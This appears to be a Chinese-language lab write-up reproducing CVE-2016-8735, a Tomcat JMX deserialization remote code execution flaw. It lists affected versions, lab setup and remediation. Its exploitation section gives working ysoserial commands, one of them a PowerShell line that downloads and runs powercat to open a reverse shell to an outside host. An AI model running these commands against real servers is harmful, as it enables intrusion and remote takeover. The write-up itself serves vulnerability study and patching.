目錄
CVE-2016-8735
漏洞描述:
該漏洞與之前Oracle發布的 mxRemoteLifecycleListener 反序列化漏洞(CVE-2016-3427)相關,是由於使用了JmxRemoteLifecycleListener 的監聽功能所導致。而在Oracle官方發布修復后,Tomcat未能及時修復更新而導致的遠程代碼執行。
該漏洞所造成的最根本原因是Tomcat在配置JMX做監控時使用了 JmxRemoteLifecycleListener 的方法。
漏洞影響版本:
- ApacheTomcat 9.0.0.M1 到9.0.0.M11
- ApacheTomcat 8.5.0 到8.5.6
- ApacheTomcat 8.0.0.RC1 到8.0.38
- ApacheTomcat 7.0.0 到7.0.72
- ApacheTomcat 6.0.0 到6.0.47
漏洞利用條件:
外部需要開啟JmxRemoteLifecycleListener監聽的 10001 和 10002 端口,來實現遠程代碼執行。
漏洞復現
環境:Tomcat7.0.39
在 conf/server.xml 中第 30 行中配置啟用JmxRemoteLifecycleListener功能監聽的端口:
配置好 jmx 的端口后,我們在 tomcat 版本(https://archive.apache.org/dist/tomcat/)所對應的 extras/ 目錄下來下載 catalina-jmx-remote.jar 以及下載 groovy-2.3.9.jar 兩個jar 包。下載完成后放至在lib目錄下。
接着我們再去bin目錄下修改catalina.bat腳本。在ExecuteThe Requested Command注釋前面添加這么一行。主要配置的意思是設置啟動tomcat的相關配置,不開啟遠程監聽jvm信息。設置不啟用他的ssl鏈接和不使用監控的賬戶。具體的配置可以去了解一下利用tomcat的jmx監控。
然后啟動 Tomcat ,看看本地的 10001 和 10002 端口是否開放
漏洞利用
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 "calc.exe"
但是由於該命令沒有回顯,所以我們還是選擇反彈shell回來,以下是反彈nc的shell。更多的關於windows反彈shell的cmd和powershell命令,傳送門:Windows反彈Shell
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd"
漏洞修復:
1、關閉 JmxRemoteLifecycleListener 功能,或者是對 jmx JmxRemoteLifecycleListener 遠程端口進行網絡訪問控制。同時,增加嚴格的認證方式。
2、根據官方去升級更新相對應的版本。